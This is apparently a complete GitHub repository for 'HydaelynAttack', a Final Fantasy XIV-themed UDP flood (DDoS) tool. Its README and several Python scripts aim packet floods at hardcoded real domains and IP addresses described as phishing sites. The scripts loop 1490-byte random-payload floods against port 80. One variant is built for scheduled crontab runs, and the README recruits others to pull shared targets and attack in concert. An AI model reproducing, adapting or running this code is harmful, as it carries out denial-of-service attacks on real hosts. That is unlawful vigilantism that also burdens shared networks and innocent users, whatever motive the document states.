├── _config.yml ├── setup.sh ├── HydaelynAttack_p.py ├── HydaelynAttack_p_once.py ├── LICENSE ├── HydaelynAttack_ffwecc.py ├── HydaelynAttack_fwess.py ├── HydaelynAttack_liwuhe51.py ├── README.md ├── HydaelynAttack_p_once_noLog.py ├── .gitignore └── HydaelynAttack.py /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | echo -e " Installing \033[1;34mHydaelynAttack\033[0m\n\n" 4 | echo -e " Please Wait..." 5 | apt-get -y install python3 > /dev/null 2>&1 6 | apt-get -y install python3-pip > /dev/null 2>&1 7 | python3 -m pip install --upgrade pip > /dev/null 2>&1 8 | pip3 install tqdm > /dev/null 2>&1 9 | pip3 install pyfiglet > /dev/null 2>&1 10 | clear 11 | echo -e "\033[92m[*]\033[0m \033[1;34mHydaelynAttack\033[0m was installed successfully.\n\n" 12 | echo -e "\n\n Errors? If it's about libraries, just write these strings:" 13 | echo -e "\n pip3 install tqdm" 14 | echo -e "\n pip3 install pyfiglet" 15 | echo -e "\n\n To run it type '\033[1;4mpython3 HydaelynAttack.py\033[0m'\n\n" 16 | -------------------------------------------------------------------------------- /HydaelynAttack_p.py: -------------------------------------------------------------------------------- 1 | # Import. 2 | from datetime import timedelta 3 | from platform import system 4 | from tqdm.auto import tqdm 5 | import os 6 | import time 7 | import random 8 | import socket 9 | import pyfiglet 10 | import datetime 11 | 12 | # Socket 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | bytes = random._urandom(1490) 15 | 16 | # Get ip. 17 | url = "fwe22.top" 18 | ip = socket.gethostbyname(url) 19 | 20 | # Value. 21 | sent = 1 22 | i = 1 23 | port = 80 24 | 25 | #ululu alala 26 | if i == 1: 27 | try: 28 | while True: 29 | if i == 65535: 30 | exit() 31 | 32 | sock.sendto(bytes, (str(ip), port)) 33 | sent += 1 34 | i += 1 35 | now = datetime.datetime.now() 36 | dtime = now.strftime("%Y-%m-%d %H:%M:%S") 37 | print('\033[32;1m[%s]Sented %s packets to %s through port:%s\033[0m'%(dtime, sent, ip, port)) 38 | 39 | except: 40 | print('Exited') 41 | -------------------------------------------------------------------------------- /HydaelynAttack_p_once.py: -------------------------------------------------------------------------------- 1 | # Import. 2 | from datetime import timedelta 3 | from platform import system 4 | from tqdm.auto import tqdm 5 | import os 6 | import time 7 | import random 8 | import socket 9 | import pyfiglet 10 | import datetime 11 | 12 | # Socket 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | bytes = random._urandom(1490) 15 | 16 | # Get ip. 17 | url = "fwe22.top" 18 | #ip = socket.gethostbyname(url) 19 | ip = "103.215.51.91" 20 | 21 | # Value. 22 | sent = 1 23 | i = 1 24 | port = 80 25 | 26 | #ululu alala 27 | if i == 1: 28 | try: 29 | while True: 30 | if i == 65535: 31 | exit() 32 | 33 | sock.sendto(bytes, (str(ip), port)) 34 | sent += 1 35 | i += 1 36 | now = datetime.datetime.now() 37 | dtime = now.strftime("%Y-%m-%d %H:%M:%S") 38 | print('\033[32;1m[%s]Sented %s packets to %s through port:%s\033[0m'%(dtime, sent, ip, port)) 39 | 40 | except: 41 | print('\n\033[31;1mExited\033[0m') 42 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 NyaaCaster 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /HydaelynAttack_ffwecc.py: -------------------------------------------------------------------------------- 1 | # Import. 2 | from datetime import timedelta 3 | from platform import system 4 | from tqdm.auto import tqdm 5 | import os 6 | import time 7 | import random 8 | import socket 9 | import pyfiglet 10 | import datetime 11 | 12 | # Socket 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | bytes = random._urandom(1490) 15 | 16 | # Get ip. 17 | url = "ffwecc.top" 18 | #ip = socket.gethostbyname(url) 19 | ip = "103.215.51.91" 20 | 21 | # Value. 22 | sent = 1 23 | i = 1 24 | port = 80 25 | 26 | #ululu alala 27 | if i == 1: 28 | try: 29 | while True: 30 | if i == 65535: 31 | i = 1 32 | #ip = socket.gethostbyname(url) 33 | timeR = random.randint(60,600) 34 | print('\033[1;36m/wait %s'%(timeR)) 35 | time.sleep(timeR) 36 | 37 | sock.sendto(bytes, (str(ip), port)) 38 | sent += 1 39 | i += 1 40 | now = datetime.datetime.now() 41 | dtime = now.strftime("%Y-%m-%d %H:%M:%S") 42 | print('\033[32;1m[%s]Sented %s packets to %s through port:%s\033[0m'%(dtime, sent, ip, port)) 43 | 44 | except: 45 | print('\n\033[31;1mExited\033[0m') -------------------------------------------------------------------------------- /HydaelynAttack_fwess.py: -------------------------------------------------------------------------------- 1 | # Import. 2 | from datetime import timedelta 3 | from platform import system 4 | from tqdm.auto import tqdm 5 | import os 6 | import time 7 | import random 8 | import socket 9 | import pyfiglet 10 | import datetime 11 | 12 | # Socket 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | bytes = random._urandom(1490) 15 | 16 | # Get ip. 17 | url = "fwess.top" 18 | #ip = socket.gethostbyname(url) 19 | ip = "163.187.32.26" 20 | 21 | # Value. 22 | sent = 1 23 | i = 1 24 | port = 80 25 | 26 | #ululu alala 27 | if i == 1: 28 | try: 29 | while True: 30 | if i == 65535: 31 | i = 1 32 | #ip = socket.gethostbyname(url) 33 | timeR = random.randint(60,600) 34 | print('\033[1;36m/wait %s'%(timeR)) 35 | time.sleep(timeR) 36 | 37 | sock.sendto(bytes, (str(ip), port)) 38 | sent += 1 39 | i += 1 40 | now = datetime.datetime.now() 41 | dtime = now.strftime("%Y-%m-%d %H:%M:%S") 42 | print('\033[32;1m[%s]Sented %s packets to %s through port:%s\033[0m'%(dtime, sent, ip, port)) 43 | 44 | except: 45 | print('\n\033[31;1mExited\033[0m') 46 | -------------------------------------------------------------------------------- /HydaelynAttack_liwuhe51.py: -------------------------------------------------------------------------------- 1 | # Import. 2 | from datetime import timedelta 3 | from platform import system 4 | from tqdm.auto import tqdm 5 | import os 6 | import time 7 | import random 8 | import socket 9 | import pyfiglet 10 | import datetime 11 | 12 | # Socket 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | bytes = random._urandom(1490) 15 | 16 | # Get ip. 17 | url = "liwuhe51.top" 18 | #ip = socket.gethostbyname(url) 19 | ip = "43.251.101.121" 20 | 21 | # Value. 22 | sent = 1 23 | i = 1 24 | port = 80 25 | 26 | #ululu alala 27 | if i == 1: 28 | try: 29 | while True: 30 | if i == 65535: 31 | i = 1 32 | #ip = socket.gethostbyname(url) 33 | timeR = random.randint(60,600) 34 | print('\033[1;36m/wait %s'%(timeR)) 35 | time.sleep(timeR) 36 | 37 | sock.sendto(bytes, (str(ip), port)) 38 | sent += 1 39 | i += 1 40 | now = datetime.datetime.now() 41 | dtime = now.strftime("%Y-%m-%d %H:%M:%S") 42 | print('\033[32;1m[%s]Sented %s packets to %s through port:%s\033[0m'%(dtime, sent, ip, port)) 43 | 44 | except: 45 | print('\n\033[31;1mExited\033[0m') -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HydaelynAttack ![](https://img.shields.io/apm/l/vim-mode) ![](https://img.shields.io/github/stars/NyaaCaster/HydaelynAttack?style=social) 2 | ## 简易定制化DDOS打击工具,可用于自动打击部署 3 | 4 | *倾听……感受……思考……* 5 | 6 | ## 前言 7 | 8 | 这只是为了维护艾欧泽亚不受钓鱼诈骗网站干涉而定制的自动打击策略,故很多参数写死定向打击特定网站,虽然根据实际情况,有能力编辑者脚本中最好自己维护打击目标,但请不要滥用于其他途径。 9 | **注意,本项目攻击方式流量消耗很大,每轮打击消耗约12M流量,计费制网络资源用户请规划好自己的开销计划。** 10 | 11 | ## 环境级工具 12 | 13 | - [x] Linux 14 | - [x] Python3 15 | - [x] Python3-pip 16 | - [x] Python3-pip tqdm 17 | - [x] Python3-pip pyfiglet 18 | 19 | ## linunx系统语法注意 20 | - 如果是ubuntu debian系的系统,命令前缀使用 apt 21 | - 如果是centos redhead系的系统,命令前缀使用 yum 22 | - 如果是非root权限账号,请在上述命令前加 sudo 23 | 24 | ## 安装 25 | ```shell 26 | apt update -y 27 | apt install git python3 python3-pip -y 28 | pip3 install tqdm pyfiglet 29 | git clone https://github.com/NyaaCaster/HydaelynAttack.git 30 | ``` 31 | 32 | ## 运行 33 | ```shell 34 | Python3 HydaelynAttack/HydaelynAttack.py 35 | ``` 36 | ------ 37 | ## 脚本文件说明 38 | - [x] HydaelynAttack.py *基本款,对ffwecc.top fwess.top liwuhe51.top三个网站同时循环打击,咏唱时间120秒,复唱时间60~600秒随机* 39 | - [x] HydaelynAttack_ffwecc.py *只循环打ffwecc.top,咏唱时间120秒,复唱时间60~600秒随机* 40 | - [x] HydaelynAttack_fwess.py *只循环打fwess.top,咏唱时间120秒,复唱时间60~600秒随机* 41 | - [x] HydaelynAttack_liwuhe51.py *只循环打liwuhe51.top,咏唱时间120秒,复唱时间60~600秒随机* 42 | - [x] HydaelynAttack_p.py *携作版,使用前用 git pull 指令更新项目,获得我发布的最新打击目标,执行本脚本携同我一起打击,咏唱时间120秒,复唱时间60~600秒随机* 43 | - [x] HydaelynAttack_p_once.py *携作版部署版,一次性执行,用于crontab等计划任务定时部署,使用前用 git pull 指令更新获得统一目标,咏唱时间120秒* 44 | 45 | ## TO DO 46 | - [ ] 集成到ACT高级触发器里自动执行 47 | -------------------------------------------------------------------------------- /HydaelynAttack_p_once_noLog.py: -------------------------------------------------------------------------------- 1 | # Import. 2 | from datetime import timedelta 3 | from platform import system 4 | from tqdm.auto import tqdm 5 | import os 6 | import time 7 | import random 8 | import socket 9 | import pyfiglet 10 | import datetime 11 | 12 | # Socket 13 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | bytes = random._urandom(1490) 15 | 16 | # Cast 17 | print('To all of my children in whom Life flows abundant...') 18 | print('To all of my children to whom Death hath passed his judgement...') 19 | print('The soul yearns for honor, and the flesh the hereafter...') 20 | print('Look to those who walked before to lead those who walk after...') 21 | print('') 22 | print('Hear...Feel...Think...') 23 | time.sleep(1) 24 | print('-----------------------------------') 25 | print('/ac Reflect ') 26 | print('/ac Manipulation ') 27 | print('/ac Preparatory Touch ') 28 | print('/ac Preparatory Touch ') 29 | print('/ac Great Strides ') 30 | print("/ac Byregot's Blessing ") 31 | print('/ac Great Veneration ') 32 | print('/ac Groundwork ') 33 | print('/ac Groundwork') 34 | print('') 35 | 36 | # Get ip. 37 | url = "fwecc.top" 38 | ip = socket.gethostbyname(url) 39 | #ip = "103.215.51.91" 40 | 41 | # Value. 42 | sent = 1 43 | i = 1 44 | port = 80 45 | 46 | #ululu alala 47 | if i == 1: 48 | try: 49 | while True: 50 | if i == 65535: 51 | exit() 52 | 53 | sock.sendto(bytes, (str(ip), port)) 54 | sent += 1 55 | i += 1 56 | now = datetime.datetime.now() 57 | dtime = now.strftime("%Y-%m-%d %H:%M:%S") 58 | 59 | except: 60 | print('[%s]Sented %s packets to %s(%s) through port:%s'%(dtime, sent, url, ip, port)) 61 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /HydaelynAttack.py: -------------------------------------------------------------------------------- 1 | 2 | # Import. 3 | from datetime import timedelta 4 | from platform import system 5 | from tqdm.auto import tqdm 6 | import os 7 | import time 8 | import random 9 | import socket 10 | import pyfiglet 11 | import datetime 12 | 13 | # Socket 14 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 15 | bytes = random._urandom(1490) 16 | 17 | 18 | # Cast 19 | print('\033[1;34mTo all of my children in whom Life flows abundant...') 20 | time.sleep(1) 21 | print('\033[1;34mTo all of my children to whom Death hath passed his judgement...') 22 | time.sleep(1) 23 | print('\033[1;34mThe soul yearns for honor, and the flesh the hereafter...') 24 | time.sleep(1) 25 | print('\033[1;34mLook to those who walked before to lead those who walk after...') 26 | time.sleep(1) 27 | print('') 28 | time.sleep(1) 29 | print('\033[1;34mHear...Feel...Think...') 30 | time.sleep(2) 31 | print('\033[0m-----------------------------------') 32 | time.sleep(1) 33 | print('\033[1;36m/ac Reflect ') 34 | time.sleep(1) 35 | print('\033[1;36m/ac Manipulation ') 36 | time.sleep(1) 37 | print('\033[1;36m/ac Preparatory Touch ') 38 | time.sleep(1) 39 | print('\033[1;36m/ac Preparatory Touch ') 40 | time.sleep(1) 41 | print('\033[1;36m/ac Great Strides ') 42 | time.sleep(1) 43 | print("\033[1;36m/ac Byregot's Blessing ") 44 | time.sleep(1) 45 | print('\033[1;36m/ac Great Veneration ') 46 | time.sleep(1) 47 | print('\033[1;36m/ac Groundwork ') 48 | time.sleep(1) 49 | print('\033[1;36m/ac Groundwork') 50 | time.sleep(1) 51 | 52 | # Get ip. 53 | url1 = "fwess.top" 54 | #ip1 = socket.gethostbyname(url1) 55 | ip1 = "163.187.32.26" 56 | url2 = "ffwecc.top" 57 | #ip2 = socket.gethostbyname(url2) 58 | ip2 = "43.251.101.121" 59 | url3 = "liwuhe51.top" 60 | #ip3 = socket.gethostbyname(url3) 61 | ip3 = "103.82.54.28" 62 | 63 | # Mark 64 | print('\033[1;31m/marking "Attack1" <%s>\033[0m'%(url1)) 65 | print('\033[1;31m/marking "Attack2" <%s>\033[0m'%(url2)) 66 | print('\033[1;31m/marking "Attack3" <%s>\033[0m'%(url3)) 67 | #print('\033[1;31m/marking "Attack1" <%s>\033[0m'%(ip1)) 68 | #print('\033[1;31m/marking "Attack2" <%s>\033[0m'%(ip2)) 69 | #print('\033[1;31m/marking "Attack2" <%s>\033[0m'%(ip3)) 70 | time.sleep(1) 71 | 72 | # Value. 73 | sent = 1 74 | timeR = random.randint(60,600) 75 | now = datetime.datetime.now() 76 | dtime = now.strftime("%Y-%m-%d %H:%M:%S") 77 | port = 80 78 | 79 | #ululu alala 80 | if sent == 1: 81 | try: 82 | while True: 83 | if sent == 65535: 84 | print('\033[32;1m[%s]Sented %s packets to %s through port:%s\033[0m'%(dtime, sent, ip1, port)) 85 | print('\033[32;1m[%s]Sented %s packets to %s through port:%s\033[0m'%(dtime, sent, ip2, port)) 86 | print('\033[32;1m[%s]Sented %s packets to %s through port:%s\033[0m'%(dtime, sent, ip3, port)) 87 | #exit() #for once. 88 | print('\033[1;36m/wait %s'%(timeR)) 89 | sent = 1 90 | time.sleep(timeR) 91 | #ip1 = socket.gethostbyname(url1) 92 | #ip2 = socket.gethostbyname(url2) 93 | #ip3 = socket.gethostbyname(url3) 94 | #ip1 = "163.187.32.26" 95 | #ip2 = "103.215.51.91" 96 | #ip3 = "103.82.54.28" 97 | 98 | sock.sendto(bytes, (str(ip1), port)) 99 | sock.sendto(bytes, (str(ip2), port)) 100 | sock.sendto(bytes, (str(ip3), port)) 101 | sent += 1 102 | #port += 1 103 | timeR = random.randint(60,600) 104 | now = datetime.datetime.now() 105 | dtime = now.strftime("%Y-%m-%d %H:%M:%S") 106 | # print('\033[32;1m[%s]Sented %s packets to IPs port:%s\033[0m'%(dtime, sent, port)) 107 | 108 | 109 | except: 110 | print('\n\033[31;1mExited\033[0m') --------------------------------------------------------------------------------